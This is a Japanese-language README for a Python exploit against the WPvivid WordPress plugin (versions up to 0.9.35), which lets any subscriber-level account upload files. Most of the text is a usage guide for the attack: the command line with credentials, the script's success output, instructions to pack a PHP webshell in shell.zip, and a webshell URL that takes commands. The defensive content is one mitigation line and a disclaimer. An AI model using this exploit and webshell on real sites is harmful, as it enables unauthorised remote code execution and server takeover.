
公開日: 2024-10-16 | 移行, バックアップ, ステージング – WPvivid <= 0.9.35 - 認証済み (Subscriber+) 任意ファイルアップロード
WPvivid WordPressプラグイン(サイト移行とバックアップ用)には、任意のファイルをアップロードできる欠陥があります。この脆弱性により、低権限の認証ユーザーが ZIP ファイルをアップロードして展開でき、展開されたファイル内に悪意のあるスクリプトが配置された場合、リモートコード実行(RCE)につながる可能性があります。
以下の方法でこの脆弱性を悪用する Python エクスプロイトスクリプトが作成されています。
悪用が成功した場合、スクリプトは以下を出力します:
[+] Logged in successfully.
[+] Target is vulnerable. Proceeding with exploitation.
[+] Uploading file: Success
[+] Confirming upload: Success
[+] Starting import: Success
[+] Shell uploaded successfully at: http://target-site.com/wp-content/nxploit.php
悪意のあるshell.zipファイルがエクスプロイトスクリプトと同じディレクトリに存在することを確認してください。
shell.zipファイルにはPHPウェブシェル (例:nxploit.php) が含まれている必要があります。
購読者以上の権限を持つ有効なWordPressアカウントが必要です。
python CVE-2020-36842.py -u http://target-site.com -un username khaled -p password 123
スクリプトはターゲットのバージョンを確認し、提供された認証情報でログインします。
ターゲットに脆弱性がある場合、スクリプトはshell.zipをアップロードして展開します。
成功すると、スクリプトはアップロードされたシェルのURLを提供します。
シェルが正常にアップロードされ展開されたら、以下のURLを介してコマンドを送信することで対話できます:
http://target-site.com/wp-content/nxploit.php?cmd=pwd
この脆弱性を緩和するには、以下を強く推奨します:
wp-content/uploads ディレクトリでの 直接スクリプト実行を無効化 する(.htaccess またはサーバー設定を使用)。この脆弱性は、認証済みの攻撃者がWordPressサーバー上に悪意のあるファイルをアップロードして実行することを可能にするため、深刻なリスクをもたらします。サイト管理者は速やかにインストールを保護する措置を講じる必要があります。
免責事項: この文書は倫理的なセキュリティ研究および教育目的のみを意図しています。許可なく脆弱性を悪用することは違法であり、該当する法律の下で処罰の対象となります。(Nxploit | Khaled_alenazi)